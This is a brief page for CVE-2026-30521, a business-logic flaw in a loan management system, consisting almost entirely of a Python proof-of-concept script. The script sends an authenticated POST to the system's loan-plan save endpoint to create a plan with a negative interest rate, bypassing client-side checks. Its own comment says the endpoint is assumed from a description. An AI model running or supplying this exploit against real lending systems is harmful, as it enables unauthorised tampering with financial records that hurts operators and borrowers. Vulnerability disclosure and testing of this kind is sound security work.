CVE-2026-30521 贷款管理系统业务逻辑漏洞

import requests def exploit_negative_interest(target_url, session_cookie): """ PoC for CVE-2026-30521 Demonstrates creating a loan plan with a negative interest rate by bypassing client-side validation. """ # Endpoint for creating a loan plan (assumed based on description) endpoint = f"{target_url}/loan_management_system/classes/Loan_plan.php?f=save" headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload attempting to create a plan with -5% interest payload = { "plan_name": "Negative Interest Plan", "interest_percentage": -5, "penalty_rate": 2 } try: response = requests.post(endpoint, headers=headers, data=payload) if response.status_code == 200 and "success" in response.text.lower(): return "[+] Exploit successful: Negative interest plan created." else: return f"[-] Exploit failed. Status: {response.status_code}, Response: {response.text}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # print(exploit_negative_interest("http://target-ip", "valid_session_id"))